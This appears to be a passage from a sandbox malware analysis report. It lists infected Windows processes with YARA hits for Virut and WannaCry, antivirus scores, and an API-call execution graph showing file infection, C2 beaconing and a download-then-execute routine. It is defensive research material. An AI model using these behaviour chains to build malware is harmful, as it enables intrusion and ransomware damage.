                                                                                        Commandline:C:\Windows\System32\svchost.exe -k NetworkService -p
                                                                                        Imagebase:0x7ff7338d0000
                                                                                        File size:51288 bytes
                                                                                        MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:false
                                                                                        Programmed in:C, C++ or other language

                                                                                        General

                                                                                        Target ID:21
                                                                                        Start time:08:08:48
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\System32\SgrmBroker.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:C:\Windows\system32\SgrmBroker.exe
                                                                                        Imagebase:0x7ff79b350000
                                                                                        File size:163336 bytes
                                                                                        MD5 hash:D3170A3F3A9626597EEE1888686E3EA6
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language

                                                                                        General

                                                                                        Target ID:22
                                                                                        Start time:08:08:48
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\System32\svchost.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
                                                                                        Imagebase:0x7ff7338d0000
                                                                                        File size:51288 bytes
                                                                                        MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:false
                                                                                        Programmed in:C, C++ or other language

                                                                                        General

                                                                                        Target ID:23
                                                                                        Start time:08:08:49
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\System32\svchost.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:c:\windows\system32\svchost.exe -k unistacksvcgroup
                                                                                        Imagebase:0x7ff7338d0000
                                                                                        File size:51288 bytes
                                                                                        MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language

                                                                                        General

                                                                                        Target ID:24
                                                                                        Start time:08:08:49
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\System32\svchost.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:c:\windows\system32\svchost.exe -k rpcss -p
                                                                                        Imagebase:0x7ff7338d0000
                                                                                        File size:51288 bytes
                                                                                        MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:false
                                                                                        Programmed in:C, C++ or other language
                                                                                        Yara matches:
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000018.00000002.780038210.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000018.00000000.297917733.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000018.00000002.779625256.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000018.00000000.297935141.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000018.00000000.297503567.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000018.00000000.297520216.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                                                                                        General

                                                                                        Target ID:25
                                                                                        Start time:08:08:52
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\System32\svchost.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p
                                                                                        Imagebase:0x7ff7338d0000
                                                                                        File size:51288 bytes
                                                                                        MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language

                                                                                        General

                                                                                        Target ID:26
                                                                                        Start time:08:08:52
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\System32\svchost.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:c:\windows\system32\svchost.exe -k dcomlaunch -p -s LSM
                                                                                        Imagebase:0x7ff7338d0000
                                                                                        File size:51288 bytes
                                                                                        MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Yara matches:
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001A.00000000.302681631.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001A.00000002.779625777.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001A.00000000.303697013.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001A.00000000.303739721.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001A.00000002.780045670.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001A.00000000.302649387.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                                                                                        General

                                                                                        Target ID:27
                                                                                        Start time:08:08:53
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\System32\dwm.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:dwm.exe
                                                                                        Imagebase:0x7ff7aa950000
                                                                                        File size:62464 bytes
                                                                                        MD5 hash:70073A05B2B43FFB7A625708BB29E7C7
                                                                                        Has elevated privileges:false
                                                                                        Has administrator privileges:false
                                                                                        Programmed in:C, C++ or other language
                                                                                        Yara matches:
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001B.00000000.306865025.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001B.00000002.779624964.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001B.00000002.779959042.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001B.00000000.306275003.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001B.00000000.306783221.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001B.00000000.306259701.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                                                                                        General

                                                                                        Target ID:28
                                                                                        Start time:08:08:58
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\System32\svchost.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                                                                                        Imagebase:0x7ff7338d0000
                                                                                        File size:51288 bytes
                                                                                        MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language

                                                                                        General

                                                                                        Target ID:29
                                                                                        Start time:08:09:09
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\tasksche.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:C:\WINDOWS\tasksche.exe /i
                                                                                        Imagebase:0x400000
                                                                                        File size:3514368 bytes
                                                                                        MD5 hash:3233ACED9279EF54267C479BBA665B90
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Yara matches:
                                                                                        • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 0000001D.00000000.340987987.000000000040E000.00000008.00000001.01000000.00000008.sdmp, Author: us-cert code analysis team
                                                                                        • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 0000001D.00000002.346252810.000000000040E000.00000008.00000001.01000000.00000008.sdmp, Author: us-cert code analysis team
                                                                                        • Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\tasksche.exe, Author: Florian Roth (with the help of binar.ly)
                                                                                        • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: C:\Windows\tasksche.exe, Author: us-cert code analysis team
                                                                                        • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Windows\tasksche.exe, Author: ReversingLabs
                                                                                        Antivirus matches:
                                                                                        • Detection: 100%, Avira
                                                                                        • Detection: 100%, Joe Sandbox ML
                                                                                        • Detection: 85%, Metadefender, Browse
                                                                                        • Detection: 95%, ReversingLabs

                                                                                        General

                                                                                        Target ID:30
                                                                                        Start time:08:09:16
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\System32\svchost.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:c:\windows\system32\svchost.exe -k netsvcs -p -s gpsvc
                                                                                        Imagebase:0x7ff7338d0000
                                                                                        File size:51288 bytes
                                                                                        MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Yara matches:
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001E.00000000.355451768.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001E.00000002.779625609.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                                                                                        General

                                                                                        Target ID:31
                                                                                        Start time:08:09:17
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\System32\svchost.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s lmhosts
                                                                                        Imagebase:0x7ff7338d0000
                                                                                        File size:51288 bytes
                                                                                        MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                        Has elevated privileges:false
                                                                                        Has administrator privileges:false
                                                                                        Programmed in:C, C++ or other language
                                                                                        Yara matches:
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001F.00000002.779624933.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001F.00000000.358836305.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                                                                                        General

                                                                                        Target ID:32
                                                                                        Start time:08:09:19
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\System32\svchost.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
                                                                                        Imagebase:0x7ff7338d0000
                                                                                        File size:51288 bytes
                                                                                        MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:false
                                                                                        Programmed in:C, C++ or other language
                                                                                        Yara matches:
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000020.00000002.779620781.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000020.00000000.361461288.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                                                                                        General

                                                                                        Target ID:33
                                                                                        Start time:08:09:24
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\System32\svchost.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s TimeBrokerSvc
                                                                                        Imagebase:0x7ff7338d0000
                                                                                        File size:51288 bytes
                                                                                        MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                        Has elevated privileges:false
                                                                                        Has administrator privileges:false
                                                                                        Programmed in:C, C++ or other language
                                                                                        Yara matches:
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000021.00000002.779629250.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000021.00000000.371524585.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                                                                                        General

                                                                                        Target ID:34
                                                                                        Start time:08:09:25
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\System32\svchost.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:c:\windows\system32\svchost.exe -k netsvcs -p -s Schedule
                                                                                        Imagebase:0x7ff7338d0000
                                                                                        File size:51288 bytes
                                                                                        MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Yara matches:
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000022.00000000.374091612.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000022.00000002.779622641.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                                                                                        General

                                                                                        Target ID:35
                                                                                        Start time:08:09:26
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\System32\backgroundTaskHost.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                        Imagebase:0x7ff7748d0000
                                                                                        File size:19352 bytes
                                                                                        MD5 hash:B7FC4A29431D4F795BBAB1FB182B759A
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:false
                                                                                        Programmed in:C, C++ or other language

                                                                                        General

                                                                                        Target ID:36
                                                                                        Start time:08:09:30
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\System32\svchost.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:c:\windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                                                                                        Imagebase:0x7ff7338d0000
                                                                                        File size:51288 bytes
                                                                                        MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Yara matches:
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000024.00000000.384980372.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000024.00000002.779620499.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                                                                                        General

                                                                                        Target ID:37
                                                                                        Start time:08:09:34
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\System32\svchost.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:c:\windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                                                                        Imagebase:0x7ff7338d0000
                                                                                        File size:51288 bytes
                                                                                        MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Yara matches:
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000025.00000002.779622182.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000025.00000000.395892322.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                                                                                        General

                                                                                        Target ID:38
                                                                                        Start time:08:09:37
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\System32\svchost.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s EventLog
                                                                                        Imagebase:0x7ff7338d0000
                                                                                        File size:51288 bytes
                                                                                        MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:false
                                                                                        Programmed in:C, C++ or other language
                                                                                        Yara matches:
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000026.00000002.779620466.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000026.00000000.399766595.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                                                                                        General

                                                                                        Target ID:39
                                                                                        Start time:08:09:38
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\System32\svchost.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p
                                                                                        Imagebase:0x7ff7338d0000
                                                                                        File size:51288 bytes
                                                                                        MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language

                                                                                        General

                                                                                        Target ID:40
                                                                                        Start time:08:09:44
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\System32\BackgroundTransferHost.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                                                                                        Imagebase:0x7ff67da90000
                                                                                        File size:36864 bytes
                                                                                        MD5 hash:02BA81746B929ECC9DB6665589B68335
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:false
                                                                                        Programmed in:C, C++ or other language

                                                                                        Disassembly

                                                                                        Reset < >

                                                                                          Execution Graph

                                                                                          Execution Coverage:3%
                                                                                          Dynamic/Decrypted Code Coverage:0%
                                                                                          Signature Coverage:62.7%
                                                                                          Total number of Nodes:657
                                                                                          Total number of Limit Nodes:2
                                                                                          execution_graph 6327 7fea4c6b 6330 7fea4c9e 6327->6330 6331 7fea4caa 6330->6331 6338 7fea4499 6331->6338 6333 7fea4cb7 6334 7fea4499 5 API calls 6333->6334 6337 7fea4d64 6333->6337 6335 7fea4d58 6334->6335 6336 7fea4499 5 API calls 6335->6336 6335->6337 6336->6337 6339 7fea44c2 CreateFileA 6338->6339 6340 7fea44a3 GetFileAttributesA 6338->6340 6343 7fea44fc CreateFileMappingA 6339->6343 6340->6339 6341 7fea44af SetFileAttributesA 6340->6341 6341->6339 6345 7fea4573 MapViewOfFile 6343->6345 6347 7fea45a8 6345->6347 6347->6333 6623 ac662d 6626 ac6647 6623->6626 6627 ac6637 6626->6627 6628 ac6652 6626->6628 6630 ac6658 6628->6630 6631 ac2574 5 API calls 6630->6631 6632 ac666a 6631->6632 6632->6627 7062 ac116f LoadLibraryA 7065 ac1196 GetProcAddress 7062->7065 7064 ac1180 7065->7064 6470 7fea43ad 6471 7fea43b9 6470->6471 6474 7fea43dd 6471->6474 6473 7fea43c4 6477 7fea144a LookupPrivilegeValueA NtAdjustPrivilegesToken 6474->6477 6476 7fea43e3 6476->6473 6477->6476 7070 ac2665 7072 ac266b CreateThread CloseHandle 7070->7072 7073 ac3c38 7072->7073 7075 ac3c3d 7073->7075 7076 ac3ca9 7075->7076 7077 ac3c5b GetWindowsDirectoryA 7075->7077 7130 ac252f NtOpenSection 7076->7130 7083 ac3d26 7077->7083 7079 ac3cae 7081 ac3cfb GetSystemDirectoryA 7079->7081 7082 ac3cb5 7079->7082 7175 ac3d1f lstrcat 7081->7175 7131 ac3cc2 GetModuleHandleA 7082->7131 7217 ac3d36 LoadLibraryA 7083->7217 7130->7079 7132 ac3ccc 7131->7132 7133 ac3cde 7131->7133 7136 ac3cd4 GetProcAddress 7132->7136 7258 ac3cf0 GetModuleHandleA 7133->7258 7136->7133 7176 ac3d26 7175->7176 7177 ac3d36 151 API calls 7176->7177 7178 ac3d2b GetProcAddress LoadLibraryA 7177->7178 7180 ac10ce 2 API calls 7178->7180 7181 ac3d7d 7180->7181 7182 ac3d92 GetTickCount 7181->7182 7183 ac3daa 7182->7183 7184 ac3e47 GetVolumeInformationA 7183->7184 7185 ac3e7a 7184->7185 7186 ac3f25 7185->7186 7187 ac3eb5 96 API calls 7185->7187 7188 ac3f4f 7186->7188 7189 ac3f31 CreateThread CloseHandle 7186->7189 7190 ac3ea9 7187->7190 7192 ac3f60 43 API calls 7188->7192 7189->7188 7190->7186 7191 ac3f14 7190->7191 7194 ac3eca GetModuleFileNameA wsprintfA 7190->7194 7191->7186 7195 ac3405 5 API calls 7191->7195 7193 ac3f54 7192->7193 7196 ac10ce 2 API calls 7193->7196 7194->7191 7195->7186 7197 ac3f7e 7196->7197 7198 ac3f8f 23 API calls 7197->7198 7199 ac3f83 7198->7199 7200 ac3ffa CreateEventA 7199->7200 7201 ac3fd3 CreateThread CloseHandle 7199->7201 7214 ac4012 7200->7214 7201->7200 7202 ac4065 gethostbyname 7202->7214 7203 ac4056 lstrlen 7203->7202 7203->7203 7204 ac4081 socket 7207 ac40a6 connect 7204->7207 7204->7214 7205 ac4320 RtlExitUserThread 7206 ac42d0 SetEvent 7206->7214 7209 ac42b7 closesocket 7207->7209 7207->7214 7208 ac42f2 Sleep ResetEvent 7208->7214 7209->7214 7210 ac40ef GetVersionExA 7210->7214 7211 ac4172 wsprintfA 7211->7214 7212 ac41a7 CreateThread CloseHandle 7212->7214 7213 ac41f6 GetTickCount 7213->7214 7214->7202 7214->7203 7214->7204 7214->7205 7214->7206 7214->7208 7214->7209 7214->7210 7214->7211 7214->7212 7214->7213 7215 ac4288 Sleep 7214->7215 7215->7214 7216 ac4294 GetTickCount 7215->7216 7216->7214 7415 ac3d4b GetProcAddress LoadLibraryA 7217->7415 7301 ac26d4 7258->7301 7261 ac3d1f 179 API calls 7262 ac3d12 GetProcAddress LoadLibraryA 7261->7262 7264 ac10ce 2 API calls 7262->7264 7265 ac3d7d 7264->7265 7266 ac3d92 GetTickCount 7265->7266 7267 ac3daa 7266->7267 7268 ac3e47 GetVolumeInformationA 7267->7268 7269 ac3e7a 7268->7269 7270 ac3f25 7269->7270 7303 ac3eb5 LoadLibraryA 7269->7303 7272 ac3f4f 7270->7272 7273 ac3f31 CreateThread CloseHandle 7270->7273 7335 ac3f60 LoadLibraryA 7272->7335 7273->7272 7302 ac26c8 GetSystemDirectoryA 7301->7302 7302->7261 7357 ac3ecc GetProcAddress GetModuleFileNameA wsprintfA 7303->7357 7336 ac3f7e 7335->7336 7337 ac10ce 2 API calls 7335->7337 7338 ac3f8f 23 API calls 7336->7338 7337->7336 7339 ac3f83 7338->7339 7340 ac3ffa CreateEventA 7339->7340 7341 ac3fd3 CreateThread CloseHandle 7339->7341 7354 ac4012 7340->7354 7341->7340 7342 ac4065 gethostbyname 7342->7354 7343 ac4056 lstrlen 7343->7342 7343->7343 7344 ac4081 socket 7347 ac40a6 connect 7344->7347 7344->7354 7345 ac4320 RtlExitUserThread 7346 ac42d0 SetEvent 7346->7354 7349 ac42b7 closesocket 7347->7349 7347->7354 7348 ac42f2 Sleep ResetEvent 7348->7354 7349->7354 7350 ac40ef GetVersionExA 7350->7354 7351 ac4172 wsprintfA 7351->7354 7352 ac41a7 CreateThread CloseHandle 7352->7354 7353 ac41f6 GetTickCount 7353->7354 7354->7342 7354->7343 7354->7344 7354->7345 7354->7346 7354->7348 7354->7349 7354->7350 7354->7351 7354->7352 7354->7353 7355 ac4288 Sleep 7354->7355 7355->7354 7356 ac4294 GetTickCount 7355->7356 7356->7354 7358 ac3f14 7357->7358 7360 ac3f25 7358->7360 7386 ac3405 7358->7386 7361 ac3f4f 7360->7361 7362 ac3f31 CreateThread CloseHandle 7360->7362 7363 ac3f60 43 API calls 7361->7363 7362->7361 7364 ac3f54 7363->7364 7365 ac10ce 2 API calls 7364->7365 7366 ac3f7e 7365->7366 7394 ac3f8f LoadLibraryA 7366->7394 7387 ac343b 7386->7387 7387->7387 7388 ac3440 NtOpenSection 7387->7388 7389 ac345f NtQuerySystemInformation 7388->7389 7393 ac35f3 7388->7393 7390 ac346f MapViewOfFile CloseHandle 7389->7390 7392 ac34b0 7390->7392 7390->7393 7391 ac34b7 UnmapViewOfFile 7391->7393 7392->7391 7392->7393 7393->7360 7395 ac3f9d 7394->7395 7396 ac4320 RtlExitUserThread 7394->7396 7397 ac10ce 2 API calls 7395->7397 7398 ac3fb5 7397->7398 7398->7396 7399 ac3fc2 WSAStartup CreateThread CloseHandle 7398->7399 7400 ac3ffa CreateEventA 7399->7400 7405 ac4012 7400->7405 7401 ac4065 gethostbyname 7401->7405 7402 ac4056 lstrlen 7402->7401 7402->7402 7403 ac4081 socket 7403->7405 7406 ac40a6 connect 7403->7406 7404 ac42d0 SetEvent 7404->7405 7405->7396 7405->7401 7405->7402 7405->7403 7405->7404 7407 ac42f2 Sleep ResetEvent 7405->7407 7408 ac42b7 closesocket 7405->7408 7409 ac40ef GetVersionExA 7405->7409 7410 ac4172 wsprintfA 7405->7410 7411 ac41a7 CreateThread CloseHandle 7405->7411 7412 ac41f6 GetTickCount 7405->7412 7413 ac4288 Sleep 7405->7413 7406->7405 7406->7408 7407->7405 7408->7405 7409->7405 7410->7405 7411->7405 7412->7405 7413->7405 7414 ac4294 GetTickCount 7413->7414 7414->7405 7416 ac3d7d 7415->7416 7417 ac10ce 2 API calls 7415->7417 7418 ac3d92 GetTickCount 7416->7418 7417->7416 7419 ac3daa 7418->7419 7420 ac3e47 GetVolumeInformationA 7419->7420 7421 ac3e7a 7420->7421 7422 ac3f25 7421->7422 7423 ac3eb5 96 API calls 7421->7423 7424 ac3f4f 7422->7424 7425 ac3f31 CreateThread CloseHandle 7422->7425 7426 ac3ea9 7423->7426 7428 ac3f60 43 API calls 7424->7428 7425->7424 7426->7422 7427 ac3f14 7426->7427 7430 ac3eca GetModuleFileNameA wsprintfA 7426->7430 7427->7422 7431 ac3405 5 API calls 7427->7431 7429 ac3f54 7428->7429 7432 ac10ce 2 API calls 7429->7432 7430->7427 7431->7422 7433 ac3f7e 7432->7433 7434 ac3f8f 23 API calls 7433->7434 7435 ac3f83 7434->7435 7436 ac3ffa CreateEventA 7435->7436 7437 ac3fd3 CreateThread CloseHandle 7435->7437 7450 ac4012 7436->7450 7437->7436 7438 ac4065 gethostbyname 7438->7450 7439 ac4056 lstrlen 7439->7438 7439->7439 7440 ac4081 socket 7443 ac40a6 connect 7440->7443 7440->7450 7441 ac4320 RtlExitUserThread 7442 ac42d0 SetEvent 7442->7450 7445 ac42b7 closesocket 7443->7445 7443->7450 7444 ac42f2 Sleep ResetEvent 7444->7450 7445->7450 7446 ac40ef GetVersionExA 7446->7450 7447 ac4172 wsprintfA 7447->7450 7448 ac41a7 CreateThread CloseHandle 7448->7450 7449 ac41f6 GetTickCount 7449->7450 7450->7438 7450->7439 7450->7440 7450->7441 7450->7442 7450->7444 7450->7445 7450->7446 7450->7447 7450->7448 7450->7449 7451 ac4288 Sleep 7450->7451 7451->7450 7452 ac4294 GetTickCount 7451->7452 7452->7450 6348 7fea33e0 6349 7fea344e 6348->6349 6350 7fea33e5 6348->6350 6352 7fea345f NtQuerySystemInformation 6349->6352 6356 7fea35f3 6349->6356 6351 7fea346f MapViewOfFile CloseHandle 6350->6351 6355 7fea3440 NtOpenSection 6350->6355 6353 7fea34b0 6351->6353 6351->6356 6352->6351 6354 7fea34b7 UnmapViewOfFile 6353->6354 6353->6356 6354->6356 6355->6349 7453 7fea6620 7454 7fea6647 5 API calls 7453->7454 7455 7fea662a 7454->7455 6478 ac33e0 6479 ac33e5 6478->6479 6480 ac346f MapViewOfFile CloseHandle 6479->6480 6481 ac3440 NtOpenSection 6479->6481 6484 ac34b0 6480->6484 6485 ac35f3 6480->6485 6483 ac345f NtQuerySystemInformation 6481->6483 6481->6485 6482 ac34b7 UnmapViewOfFile 6482->6485 6483->6480 6484->6482 6484->6485 6652 ac6620 6653 ac6647 5 API calls 6652->6653 6654 ac662a 6653->6654 6655 ac1422 LookupPrivilegeValueA NtAdjustPrivilegesToken 7456 ac2762 7458 ac2768 7456->7458 7459 ac2839 InternetCloseHandle 7458->7459 7460 ac2780 GetTempPathA 7458->7460 7468 ac27a7 GetTempFileNameA CreateFileA 7460->7468 7462 ac27a3 CreateFileA 7463 ac27ce InternetReadFile 7462->7463 7464 ac2829 InternetCloseHandle 7462->7464 7465 ac27fe CloseHandle CreateProcessA 7463->7465 7466 ac27e8 7463->7466 7464->7459 7465->7464 7466->7465 7467 ac27ea WriteFile 7466->7467 7467->7463 7467->7465 7469 ac27ce InternetReadFile 7468->7469 7470 ac2829 InternetCloseHandle 7468->7470 7471 ac27fe CloseHandle CreateProcessA 7469->7471 7472 ac27e8 7469->7472 7473 ac2839 InternetCloseHandle 7470->7473 7471->7470 7472->7471 7474 